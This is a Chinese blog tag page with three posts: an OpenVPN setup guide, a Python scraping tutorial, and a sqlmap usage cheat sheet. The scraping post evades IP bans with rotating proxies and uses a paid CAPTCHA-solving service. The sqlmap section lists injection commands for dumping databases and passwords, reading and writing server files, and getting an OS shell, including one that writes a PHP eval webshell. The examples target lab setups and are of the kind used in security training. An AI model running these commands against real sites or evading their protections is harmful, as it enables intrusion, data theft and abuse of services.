跳到主要内容

31 篇博文 含有标签「技术」

查看所有标签

openvpn_server

· 阅读需 10 分钟

搭建vpn实现两台不同局域网内的在同一虚拟局域网内....

1.安装 openvpn、easy-rsa、iptables-services

yum -y install epel-release
yum -y install openvpn easy-rsa iptables-services

2. 使用 easy-rsa 生成需要的证书及相关文件,在这个阶段会产生一些 key 和证书

CA 根证书
OpenVPN 服务器 ssl 证书
Diffie-Hellman 算法用到的 key

2.1 将 easy-rsa 脚本复制到 /etc/openvpn/,该脚本主要用来方便地生成 CA 证书和各种 key

cp -r /usr/share/easy-rsa/ /etc/openvpn/

2.2 跳到 easy-rsa 目录并编辑 vars 文件,添加一些生成证书时用到的变量

cd /etc/openvpn/easy-rsa/<easy-rsa 版本号>/  # 查看 easy-rsa 版本号:yum info easy-rsa
vim vars # 没这个文件的话新建,填写如下内容(变量值根据实际情况随便填写):
export KEY_COUNTRY="China"
export KEY_PROVINCE="Shenzhen"
export KEY_CITY="Shenzhen"
export KEY_ORG="Google"
export KEY_EMAIL="admin@gmail.com"
source ./vars # 使变量生效

2.3 生成 CA 根证书

./easyrsa init-pki    #初始化 pki 相关目录
./easyrsa build-ca nopass #生成 CA 根证书, 输入 Common Name,名字随便起。
### 我起的名字是 server

2.4 生成 OpenVPN 服务器证书和密钥

第一个参数 server 为证书名称,可以随便起,比如 ./easyrsa build-server-full openvpn nopass

./easyrsa build-server-full server nopass

2.5 生成 Diffie-Hellman 算法需要的密钥文件

./easyrsa gen-dh

2.6 生成 tls-auth key,这个 key 主要用于防止 DoS 和 TLS 攻击,这一步其实是可选的,但为了安全还是生成一下,该文件在后面配置 open VPN 时会用到

openvpn --genkey --secret ta.key

2.7 将上面生成的相关证书文件整理到 /etc/openvpn/server/certs (这一步完全是为了维护方便)

mkdir /etc/openvpn/server/certs && cd /etc/openvpn/server/certs/
cp /etc/openvpn/easy-rsa/3/pki/dh.pem ./ # SSL 协商时 Diffie-Hellman 算法需要的 key
cp /etc/openvpn/easy-rsa/3/pki/ca.crt ./ # CA 根证书
cp /etc/openvpn/easy-rsa/3/pki/issued/server.crt ./ # open VPN 服务器证书
cp /etc/openvpn/easy-rsa/3/pki/private/server.key ./ # open VPN 服务器证书 key
cp /etc/openvpn/easy-rsa/3/ta.key ./ # tls-auth key

2.8 创建 open VPN 日志目录

mkdir -p /var/log/openvpn/
chown openvpn:openvpn /var/log/openvpn

3. 配置 OpenVPN

可以从 /usr/share/doc/openvpn-/sample/sample-config-files 复制一份 demo 到 /etc/openvpn/(openvpn 版本号查看:yum info openvpn)然后改改,或者从头开始创建一个新的配置文件。

我选择新建配置:

cd /etc/openvpn/
vim server.conf

port 8866 # 监听的端口号,记得云主机安全组放通改协议端口
proto udp # 服务端用的协议,udp 能快点,所以我选择 udp
dev tun
ca /etc/openvpn/server/certs/ca.crt # CA 根证书路径
cert /etc/openvpn/server/certs/server.crt # open VPN 服务器证书路径
key /etc/openvpn/server/certs/server.key # open VPN 服务器密钥路径,This file should be kept secret
dh /etc/openvpn/server/certs/dh.pem # Diffie-Hellman 算法密钥文件路径
tls-auth /etc/openvpn/server/certs/ta.key 0 # tls-auth key,参数 0 可以省略,如果不省略,那么客户端
# 配置相应的参数该配成 1。如果省略,那么客户端不需要 tls-auth 配置
server 10.128.0.0 255.255.255.0 # 该网段为 open VPN 虚拟网卡网段,不要和内网网段冲突即可。open VPN 默认为 10.8.0.0/24
push "route 192.168.31.0 255.255.255.0" # 设置将所有的client转发到此server的网段,打通局域网
push "dhcp-option DNS 223.5.5.5" # DNS 服务器配置,可以根据需要指定其他 ns
push "dhcp-option DNS 8.8.8.8"
push "redirect-gateway def1" # 客户端所有流量都通过 open VPN 转发,类似于代理开全局
compress lzo
duplicate-cn # 允许一个用户多个终端连接
keepalive 10 120
comp-lzo
persist-key
persist-tun
user openvpn # open VPN 进程启动用户,openvpn 用户在安装完 openvpn 后就自动生成了
group openvpn
log /var/log/openvpn/server.log # 指定 log 文件位置
log-append /var/log/openvpn/server.log
status /var/log/openvpn/status.log
verb 3
explicit-exit-notify 1

4.防火墙相关配置(使用 iptables 添加 snat 规则)

4.1防火墙相关配置(使用 iptables 添加 snat 规则)

systemctl stop firewalld
systemctl mask firewalld

4.2 禁用 SELinux

马上关闭:setenforce 0 | 马上生效

永久关闭:sed -i ‘s/SELINUX=enforcing/SELINUX=disabled/g’ /etc/selinux/config | 需要重启服务器生效

4.3 启用iptables

systemctl enable iptables
systemctl start iptables
iptables -F # 清理所有防火墙规则

4.4 添加防火墙规则,将 openvpn 的网络流量转发到公网:snat 规则

iptables -t nat -A POSTROUTING -s 10.128.0.0/24 -j MASQUERADE
iptables-save > /etc/sysconfig/iptables # iptables 规则持久化保存

4.5 Linux 服务器启用地址转发

echo net.ipv4.ip_forward = 1 >> /etc/sysctl.conf
sysctl -p # 这一步一定得执行,否则不会立即生效。

5.启动 open VPN

systemctl start openvpn@server  # 启动
systemctl enable openvpn@server # 开机自启动
systemctl status openvpn@server # 查看服务状态

添加一个 OpenVPN 用户

OpenVPN 服务端搭建完了,但是我们该如何使用呢?

要连接到 open VPN 服务端首先得需要一个客户端软件,(在 Mac 下推荐使用 Tunnelblick,下载地址:https://tunnelblick.net/downloads.html) Tunnelblick 是一个开源、免费的 Mac 版 open VPN 客户端软件。(Windows平台下载地址:https://openvpn.net/community-downloads/)

接下来在服务端创建一个 open VPN 用户:其实创建用户的过程就是生成客户端 SSL 证书的过程,然后将其他相关的证书文件、key、.ovpn 文件(客户端配置文件)打包到一起供客户端使用。由于创建一个用户的过程比较繁琐,所以在此将整个过程写成了一个脚本 add_ovpn_user.sh,脚本内容比较简单,一看就懂:

首先创建一个客户端配置模板文件 sample.ovpn,该文件在脚本中会用到,放到 /etc/openvpn/client/ 目录,内容如下:

sample.ovpn:

client
proto udp
dev tun
remote [open VPN服务端公网 ip,根据实际情况填写] 8866
ca ca.crt
cert admin.crt
key admin.key
tls-auth ta.key 1
remote-cert-tls server
persist-tun
persist-key
comp-lzo
verb 3
mute-replay-warnings
auth-nocache

下面为创建 open VPN 用户脚本:

PS: 此脚本创建用户极其方便

./add_ovpn_user.sh:

# ! /bin/bash

set -e

OVPN_USER_KEYS_DIR=/etc/openvpn/client/keys
EASY_RSA_VERSION=3
EASY_RSA_DIR=/etc/openvpn/easy-rsa/
PKI_DIR=$EASY_RSA_DIR/$EASY_RSA_VERSION/pki

for user in "$@"
do
if [ -d "$OVPN_USER_KEYS_DIR/$user" ]; then
rm -rf $OVPN_USER_KEYS_DIR/$user
rm -rf $PKI_DIR/reqs/$user.req
sed -i '/'"$user"'/d' $PKI_DIR/index.txt
fi
cd $EASY_RSA_DIR/$EASY_RSA_VERSION
# 生成客户端 ssl 证书文件
./easyrsa build-client-full $user nopass
# 整理下生成的文件
mkdir -p $OVPN_USER_KEYS_DIR/$user
cp $PKI_DIR/ca.crt $OVPN_USER_KEYS_DIR/$user/ # CA 根证书
cp $PKI_DIR/issued/$user.crt $OVPN_USER_KEYS_DIR/$user/ # 客户端证书
cp $PKI_DIR/private/$user.key $OVPN_USER_KEYS_DIR/$user/ # 客户端证书密钥
cp /etc/openvpn/client/sample.ovpn $OVPN_USER_KEYS_DIR/$user/$user.ovpn # 客户端配置文件
sed -i 's/admin/'"$user"'/g' $OVPN_USER_KEYS_DIR/$user/$user.ovpn
cp /etc/openvpn/server/certs/ta.key $OVPN_USER_KEYS_DIR/$user/ta.key # auth-tls 文件
cd $OVPN_USER_KEYS_DIR
zip -r $user.zip $user
done
exit 0

执行上面脚本创建一个用户:sh add_ovpn_user.sh sen ,会在 /etc/openvpn/client/keys 目录下生成以用户名 sen 命名的 zip 打包文件,将该压缩包下载到本地解压,然后将里面的 .ovpn 文件拖拽到 Tunnelblick 客户端软件即可使用。 在这里插入图片描述

如上三个。

删除一个 OpenVPN 用户

 上面我们知道了如何添加一个用户,那么如果公司员工离职了或者其他原因,想删除对应用户 OpenVPN 的使用权,该如何操作呢?其实很简单,OpenVPN 的客户端和服务端的认证主要通过 SSL 证书进行双向认证,所以只要吊销对应用户的 SSL 证书即可。
  1. 编辑 OpenVPN 服务端配置 server.conf 添加如下配置:
crl-verify /etc/openvpn/easy-rsa/3/pki/crl.pem
  1. 吊销用户证书,假设要吊销的用户名为 username
cd /etc/openvpn/easy-rsa/3/
./easyrsa revoke username
./easyrsa gen-crl
  1. 重启 OpenVPN 服务端使其生效
systemctl start openvpn@server

为了方便,也将上面步骤整理成了一个脚本,可以一键删除用户。

PS : 极其方便!!

del_ovpn_user.sh:

# ! /bin/bash
set -e
OVPN_USER_KEYS_DIR=/etc/openvpn/client/keys
EASY_RSA_VERSION=3
EASY_RSA_DIR=/etc/openvpn/easy-rsa/
for user in "$@"
do
cd $EASY_RSA_DIR/$EASY_RSA_VERSION
echo -e 'yes\n' | ./easyrsa revoke $user
./easyrsa gen-crl
# 吊销掉证书后清理客户端相关文件
if [ -d "$OVPN_USER_KEYS_DIR/$user" ]; then
rm -rf $OVPN_USER_KEYS_DIR/${user}*
fi
systemctl restart openvpn@server
done
exit 0

安装过程中遇到的问题及解决方法

问题 1

open VPN 客户端可以正常连接到服务端,但是无法上网,ping 任何地址都不通,只有服务端公网 ip 可以 ping 通

问题原因及解决方法:主要原因是服务的地址转发功能没打开,其实我前面配置
了 echo net.ipv4.ip_forward = 1 >> /etc/sysctl.conf,但是没有执行 sysctl -p 使其
立即生效,所以才导致出现问题。因此一定要记得两条命令都要执行。

问题 2

open VPN 可以正常使用,但是看客户端日志却有如下错误:

2019-06-15 02:39:03.957926 AEAD Decrypt error: bad packet ID (may be a replay): [ #6361 ] -- see the man page entry for --no-replay and --replay-window for more info or silence this warning with --mute-replay-warnings
2019-06-15 02:39:23.413750 AEAD Decrypt error: bad packet ID (may be a replay): [ #6508 ] -- see the man page entry for --no-replay and --replay-window for more info or silence this warning with --mute-replay-warnings

问题原因及解决方法:
其实这个问题一般在 open VPN 是 UDP 服务的情况下出现,主要原因是 UDP 数据包重复发送导致,在 Wi-Fi 网络下经常出现,这并不影响使用,但是我们可以选择禁止掉该错误:根据错误提示可知使用 -mute-replay-warnings 参数可以消除该警告,我们使用的 open VPN 是 GUI 的,所以修改客户端 .ovpn 配置文件,末尾添加:mute-replay-warnings 即可解决。

该问题在这里有讨论:
https://sourceforge.net/p/openvpn/mailman/message/10655695/

linux系统中的openvpn_client

这里开始虚拟机nat不共享是ssh链接不到的,我们先给他桥接网卡做好设置之后再改回来。
yum -y install epel-release
yum -y install openvpn
vim /etc/sysctl.conf 修改网络配置文件
net.ipv4.ip_forward = 1
sysctl -p 使修改配置生效
rpm -ql openvpn | grep client.conf
cp /usr/share/doc/openvpn-2.4.9/sample/sample-config-files/client.conf /etc/openvpn 复制客户端配置文件并编辑:

client
proto udp
dev tun
remote 120.79.102.7 8866
resolv-retry infinite #
ca /etc/openvpn/client/ca.crt
cert /etc/openvpn/client/sen.crt
key /etc/openvpn/client/sen.key
tls-auth ta.key 1
remote-cert-tls server
persist-tun
persist-key
comp-lzo
verb 3

连接openvpn

openvpn /etc/openvpn/client.conf  或者 openvpn /etc/***.ovpn > /dev/null & #后台连接

显示报错了!

在这里插入图片描述

然后把 ta.key 往server端创建的 sen 用户的目录里传一份就可以了,变成了如下图所示:

在这里插入图片描述

再次执行:

在这里插入图片描述

连接完毕

测试:

连接client,ifconfig 查看tun0. server 端 ping ip 显示有了流量

在这里插入图片描述

获取 Cookie

· 阅读需 11 分钟

Cookie 是存储在客户端浏览器中的一组键值对。

web 中 Cookie 的典型应用为免密登录。

Cookie 和爬虫之间也有千丝万缕的关联:

  • 有时候,对一张页面进行请求的时候,如果请求的过程中不携带 Cookie 的话,那么我们是无法请求到正确的页面数据。因此 Cookie 是爬虫中一个非常典型且常见的反爬机制。

接下来,我们看一个需要用到 Cookie 的爬虫案例。

需求:爬取雪球网中的咨询信息。

网址 url:https://xueqiu.com/

分析:

  1. 判定爬取的咨询数据是否为动态加载的
    • 相关的更多咨询数据是动态加载的,滚轮滑动到底部的时候会动态加载出更多咨询数据。
  2. 定位到 ajax 请求的数据包,提取出请求的 url,响应数据为 json 形式的咨询数据

尝试使用常规方法抓取数据:

import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'
}
url = 'https://xueqiu.com/v4/statuses/public_timeline_by_category.json?since_id=-1&max_id=20369485&count=15&category=-1'
response = requests.get(url=url, headers=headers)
print(response.json())

数据拿到了吗?拿到了。但是为什么不开心?因为拿到的数据是这么一串玩意儿:

{'error_description': '遇到错误,请刷新页面或者重新登录帐号后再试', 'error_uri': '/v4/statuses/public_timeline_by_category.json', 'error_data': None, 'error_code': '400016'}

数据没写错,但是却没拿到正确的响应。我们没有请求到我们想要的数据

原因:我们没有严格意义上模拟浏览器发请求,比如没有携带 Cookie。

处理:可以将浏览器发请求携带的请求头,全部粘贴在 headers 字典中,将 headers 作用到 requests 的请求操作中即可。

Cookie 有两种处理方式

方式 1:手动处理

  • 将抓包工具中的 cookie 粘贴在 headers 中
  • 弊端:cookie 如果过了有效时长则该方式失效。

方式 2:自动处理

  • 基于 Session 对象实现自动处理。
    1. 获取一个 session 对象:requests.Session() 返回一个 session 对象。
    2. 使用 session 对象可以像 requests 一样调用 get 和 post 发起指定的请求。只不过如果在使用 session 对象发请求的过程中产生了 cookie,cookie 会被自动存储到该 session 对象中。在下次再次使用 session 对象发起请求时,该次请求就是携带 cookie 进行的请求发送。

问:在爬虫中使用 session 的时候,session 对象至少会被使用几次?

答:两次。第一次使用 session 是为了将 cookie 捕获且存储到 session 对象中。下次的时候就是携带 cookie 进行的请求发送。

一般情况下,直接访问首页就可以获得浏览器返回的 Cookie。使用 Cookie 即可进行下一步的操作。

上面雪球网的例子,我们就可以修改成这样:

import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'
}
session = requests.Session() # 创建sesion对象
# 第一次使用session捕获且存储cookie,猜测对雪球网的首页发起的请求可能会产生cookie
session.get(url='https://xueqiu.com/', headers=headers) # 捕获并存储cookie
url = 'https://xueqiu.com/v4/statuses/public_timeline_by_category.json?since_id=-1&max_id=20369485&count=15&category=-1'
response = session.get(url=url, headers=headers) # 携带cookie发起的请求
print(response.json())

顺利拿到想要的数据。

代理操作

在爬虫中,所谓的代理指的就是代理服务器。代理服务器的作用是用来转发请求和响应。

在爬虫中为什么会需要使用代理服务器?

  • 如果我们的爬虫在短时间内对服务器发起了高频的请求,那么服务器一旦检测到这样的一个异常的行为请求,就有可能将该请求对应设备的 ip 禁掉,这样这台 client 设备就无法对服务器端再次进行请求发送(ip 被禁掉了)。
  • 如果 ip 被禁,我们可以使用代理服务器进行请求转发,破解 ip 被禁的反爬机制。因为使用代理后,服务器端接受到的请求对应的 ip 地址就是代理服务器而不是我们真正的客户端的。

代理服务器分为不同的匿名度:

  • 透明代理:如果使用了该形式的代理,服务器端知道你使用了代理机制也知道你的真实 ip。
  • 匿名代理:知道你使用代理,但是不知道你的真实 ip
  • 高匿代理:不知道你使用了代理也不知道你的真实 ip

代理的类型

  • https:代理只能转发 https 协议的请求
  • http:转发 http 的请求

常用的代理服务器

接下来,我们先通过高频次的爬取西刺代理的网页,让其封禁我们的 IP(尽管如此,也不要写死循环,温柔一点。我们的目的是让他把我们禁掉,而不是把人家搞崩)。然后通过 IP 代理的方式,继续爬取。

我们使用的代理时代理精灵,网站上面有给。买一个最低配的 3 元套餐,用作练习测试。

点击 API 提取,选择我们刚刚支付的套餐,然后选择要生产的数量,还有协议格式之类的。最后点击 生成 API 链接 即可。

img

首先使用生成好的链接封装一个代理池:

# 刚刚生成的API链接
proxy_url = 'http://ip.11jsq.com/index.php/api/entry?method=proxyServer.generate_api_url&packid=1&fa=0&fetch_key=&groupid=0&qty=10&time=1&pro=&city=&port=1&format=html&ss=5&css=&dt=1&specialTxt=3&specialJson=&usertype=15'
page_text = requests.get(url=proxy_url, headers=headers).text
tree = etree.HTML(page_text)
http_proxy = [{'https': ip} for ip in tree.xpath('//body//text()')] # 代理池

接下来,对西祠代理发起一个高频的请求,让其将我本机 ip 禁掉。将下面的代码多执行几次,直到报错。

url = 'https://www.xicidaili.com/nn/%s'
ip_list = []
for page in range(1, 11):
new_url = url % page
page_text = requests.get(url=new_url, headers=headers).text
tree = etree.HTML(page_text)
# 在xpath表达式中不可以出现tbody标签
tr_list = tree.xpath('//table[@id="ip_list"]//tr')[1:]
for tr in tr_list:
ip = tr.xpath('./td[2]/text()')
ip_list.append(ip)
len(ip_list)

然后浏览器访问 ````https://www.xicidaili.com`,访问不到```,说明 IP 已经被禁掉。

img

然后,使用代理,尝试继续访问:

# 生成代理池,注意代理的API地址要及时更新
proxy_url = 'http://t.11jsq.com/index.php/api/entry?method=proxyServer.generate_api_url&packid=1&fa=0&fetch_key=&groupid=0&qty=53&time=1&pro=&city=&port=1&format=html&ss=5&css=&dt=1&specialTxt=3&specialJson=&usertype=15'
page_text = requests.get(url=proxy_url, headers=headers).text
tree = etree.HTML(page_text) # 代理池
http_proxy = [{'https': ip} for ip in tree.xpath('//body//text()')]

# 代码不需要大改动,只需要在requests请求中加上代理即可
url = 'https://www.xicidaili.com/nn/%s'
ip_list = []
for page in range(1, 11):
new_url = url % page
# 让当次的请求使用代理机制,就可以更换请求的ip地址
page_text = requests.get(url=new_url, headers=headers, proxies=random.choice(http_proxy)).text
tree = etree.HTML(page_text)
# 在xpath表达式中不可以出现tbody标签
tr_list = tree.xpath('//table[@id="ip_list"]//tr')[1:]
for tr in tr_list:
ip = tr.xpath('./td[2]/text()')
ip_list.append(ip)
print(len(ip_list))

就又可以爬取到数据了

验证码的识别

我们往往通过基于线上的打码平台识别验证码,而不是自己用机器学习写一个。虽然能够实现功能,但是自己写的毕竟没有大的数据量支撑,且不是一朝一夕能搞定的。

常用的打码平台有:

  • \1. 超级鹰(使用):

    http://www.chaojiying.com/about.html

    • 注册(用户中心的身份)
    • 登录(用户中心的身份)
      1. 查询余额,请充值
      2. 创建一个软件 ID(例如:899370)
      3. 下载示例代码
  • \2. 云打码

  • \3. 打码兔

超级鹰打码平台 SDK 整理封装成一个函数,传入验证码地址和图片的验证码类型数字,即可得到验证码识别结果。

#!/usr/bin/env python
# coding:utf-8

import requests
from hashlib import md5

class Chaojiying_Client(object):

def __init__(self, username, password, soft_id):
self.username = username
password = password.encode('utf8')
self.password = md5(password).hexdigest()
self.soft_id = soft_id
self.base_params = {
'user': self.username,
'pass2': self.password,
'softid': self.soft_id,
}
self.headers = {
'Connection': 'Keep-Alive',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)',
}

def PostPic(self, im, codetype):
"""
im: 图片字节
codetype: 题目类型 参考 http://www.chaojiying.com/price.html
"""
params = {
'codetype': codetype,
}
params.update(self.base_params)
files = {'userfile': ('ccc.jpg', im)}
r = requests.post('http://upload.chaojiying.net/Upload/Processing.php', data=params, files=files, headers=self.headers)
return r.json()

def ReportError(self, im_id):
"""
im_id:报错题目的图片ID
"""
params = {
'id': im_id,
}
params.update(self.base_params)
r = requests.post('http://upload.chaojiying.net/Upload/ReportError.php', data=params, headers=self.headers)
return r.json()


def get_img_code(img_path, img_type):
chaojiying = Chaojiying_Client('liushuo', 'liushuo', '904154') # 用户中心>>软件ID 找到或生成软件ID
im = open(img_path, 'rb').read()
return chaojiying.PostPic(im, img_type)['pic_str'] # 验证码类型 官方网站>>价格体系


print(get_img_code('a.jpg', 1902))

模拟登录

有些网站的信息,是需要我们登录之后,才能拿到的。要想爬取这些网站的内容,我们首先要进行模拟登录。

模拟登录的流程:

  1. 对点击登录按钮对应的请求进行发送(post 请求)
  2. 处理请求参数:
    • 用户名
    • 密码
    • 验证码
    • 其他的防伪参数

需求:登录古诗文网,获取登陆成功后的页面

登陆页面 url:https://so.gushiwen.org/user/login.aspx?from=http://so.gushiwen.org/user/collect.aspx

首先,我们猜测,需要输入用户名密码和验证码信息即可登录:

# 识别验证码
url = 'https://so.gushiwen.org/user/login.aspx?from=http://so.gushiwen.org/user/collect.aspx'
# 解析验证码图片的地址
page_text = requests.get(url=url, headers=headers).text
tree = etree.HTML(page_text)
img_code_url = 'https://so.gushiwen.org' + tree.xpath('//img[@id="imgCode"]/@src')[0]
img_data = requests.get(url=img_code_url, headers=headers).content
# 将验证码图片保存到本地
with open('b.jpg', 'wb') as fp:
fp.write(img_data)
# 识别验证码
code = get_img_code('b.jpg', 1902)
print(code)
login_url = 'https://so.gushiwen.org/user/login.aspx?from=http://so.gushiwen.org/user/collect.aspx'
data = {
'__VIEWSTATE': 'zLcWU1Ihz+ZP28Jlu5xMxY8NMnEHb6jYi3hkBbQemydBVHdU8VMEyRw7jL0QOdTEnWM6aGEQMYQiKLb0fccd11U/MqxMMEpMBNI6pF8mr9Xzi0ARS/O3rvKz+vM=',
'__VIEWSTATEGENERATOR': 'C93BE1AE',
'from': 'http://so.gushiwen.org/user/collect.aspx',
'email': 'liushuo432@outlook.com',
'pwd': 'liushuo',
'code': code, # 动态变化
'denglu': '登录',
}
# 对点击登录按钮发起请求:获取了登录成功后对应的页面源码数据
page_text = requests.post(url=login_url, headers=headers, data=data).text
with open('gushiwen.html', 'w', encoding='utf-8') as fp:
fp.write(page_text)

打开生成的 gushiwen.html 文件,并没有成功登录。

对比我们的请求和浏览器发送的请求,可以获得这样两个信息:

  1. 浏览器的请求有携带 Cookie,或许是因为我们没有携带 Cookie 信息,从而导致登录失败
  2. 从打印出来的验证码数据来看,验证码识别是正确的,所以不可能是验证码的问题

所以接下来我们尝试携带 Cookie 进行模拟登录:

# 携带 Cookie 模拟登录
session = requests.Session()
url = 'https://so.gushiwen.org/user/login.aspx?from=http://so.gushiwen.org/user/collect.aspx'
page_text = session.get(url=url, headers=headers).text
tree = etree.HTML(page_text)
img_code_url = 'https://so.gushiwen.org' + tree.xpath('//img[@id="imgCode"]/@src')[0]
img_data = session.get(url=img_code_url, headers=headers).content
with open('b.jpg', 'wb') as fp:
fp.write(img_data)
code = get_img_code('b.jpg', 1902)
print(code)
login_url = 'https://so.gushiwen.org/user/login.aspx?from=http://so.gushiwen.org/user/collect.aspx'
data = {
'__VIEWSTATE': 'zLcWU1Ihz+ZP28Jlu5xMxY8NMnEHb6jYi3hkBbQemydBVHdU8VMEyRw7jL0QOdTEnWM6aGEQMYQiKLb0fccd11U/MqxMMEpMBNI6pF8mr9Xzi0ARS/O3rvKz+vM=',
'__VIEWSTATEGENERATOR': 'C93BE1AE',
'from': 'http://so.gushiwen.org/user/collect.aspx',
'email': 'liushuo432@outlook.com',
'pwd': 'liushuo',
'code': code,
'denglu': '登录',
}
page_text = session.post(url=login_url, headers=headers, data=data).text
with open('gushiwen.html', 'w', encoding='utf-8') as fp:
fp.write(page_text)

这样就成功访问到我们需要的页面了。

其实我们还有一个东西没有用到,就是 data 中的两个无规律的字符串。在请求参数中如果看到了一组乱序的请求参数,最好去验证这组请求参数是否为动态变化。如果这组参数不变化,直接在请求中写死就行了。但如果请求参数是动态变化的,我们就可能需要对这些数据进行处理:

  1. 常规来讲一半动态变化的请求参数会被隐藏在前台页面中,那么我们就要去前台页面源码中取找。
  2. 如果前台页面没有的话,我们就可以基于抓包工具进行全局搜索。

sqlmap使用手册

· 阅读需 4 分钟

基础流程:

判断是否有注入
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1"
查看所有数据库
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" --dbs
查看当前使用的数据库
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" --current-db
查看数据表
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" -D security --tables
查看列名
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" -D security -T users --columns

基础命令

-h/hh  查看基础/全部帮助命令
-v (1-6) 输出信息现实的详细程度
--batch 使用默认值
--current-db 获取当前数据库
--currnet-user 获取当前用户
-D 指定数据库
-T 指定数据表
-C 指定列
--dbs 列举全部数据库
--tables 列举全部表
--columns 列举全部字段
--dump 获取数据
--start 1 --stop 3

高级命令

  • 指定请求头
--cookie        sqlmap -u "http://192.168.88.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="security=low; PHPSESSID=453i5emq4gbjomrmpkrod5o5p1"
--user-agent sqlmap -u "xxx" --user-agent="xxx"
--referer
  • post型注入
-r			指定注入的数据包,  sqlmap -r "D:\1.txt" --batch 
--data 指定post型参数 sqlmap -u "http://192.168.88.128/dvwa/vulnerabilities/sqli/#" --batch --data="id=2&Submit=Submit" --cookie="security=low; PHPSESSID=453i5emq4gbjomrmpkrod5o5p1"
  • 提交数据和回显数据不在同一页面
--second-url
  • 文件读写
以下三个参数的执行需要mysql服务端配置secure_file_priv=""或者secure_file_priv="xx\xx\xx\"   (必须指定目标机绝对路径,而且写一句话一定要写入网站路径下才能连接菜刀)
--file-read 从目标机读取文件
--file-write 指定上传文件的本地路径
--file-dest 指定上传到目标服务器的路径
  • 执行SQL查询或者系统命令
--sql-query="SQL语句"
  • 注意:以下两条强烈建议不适用--batch执行,可以先用--batch发现注入后再单独执行下面两条。而且均已高权限来执行系统命令

    • --os-cmd="命令"

    • sqlmap -u "http://192.168.88.128/sqli/Less-1/?id=1" --os-cmd="echo ^<?php eval($_POST[a])\?^> > 5.php"

    • --os-shell 获得一个执行命令的shell

  • 查看数据库用户名和密码

--users					获取数据库用户名
--passwords 获取数据库用户密码

其他高级命令

-m       	指定批量url地址文件,e.g.   sqlmap -m list.txt 
--level 等级越高,尝试注入的payload越多。尝试注入的参数也越多。(1-5,默认是1)
--risk 风险等级,建议不去改变。(1-3,默认是1)
--tamper="unmagicquotes"
--delay 设置请求延迟时间,单位是秒,默认无延迟
--threads 设置线程(默认值1,最大值10)
-p 指定扫描的参数
参数后面加* 跑伪静态,e.g. sqlmap -u http://targeturl/param1/value1*/param2/value2/
--time-sec 指定时间延迟时间(默认5秒)
--proxy

不那么重要命令

-l     			跑工具的日志文件,如burp的日志文件 e.g.    sqlmap -l list.txt (burp->project options->logging->proxy->requests)
-g 测试注入Google的搜索结果中的GET参数
--param-del 变量分隔符(默认是&)
--random-agent 随机从自带的txt目录中选择user-agent
--method=GET/POST
--timeout 请求超时时间,浮点数,默认为30秒
--retries http(s)连接超时重试次数,默认3次
--randomize 长度,类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
--scope 过滤日志内容,通过正则表达式筛选扫描对象
--safe-url="127.0.0.1/sqli/less-1/?id=1" 设置目标网站能正常访问的地址作为安全链接地址
--safe-freq=3 访问安全链接地址的频率,即测试多少次后访问一次安全链接地址。
-o 同时开启三个优化配置
--skip 排除指定的扫描参数
--dbms 指定数据库种类和版本
--os 指定数据库服务器的系统,(如果是windows/linux就不用制定了)
-f/-b 获取目标系统的一些信息
-a 获取全部信息
--hostname 获取主机名
--privileges 获取当前用户权限
--answer 指定答案
--purge-output 清除output文件夹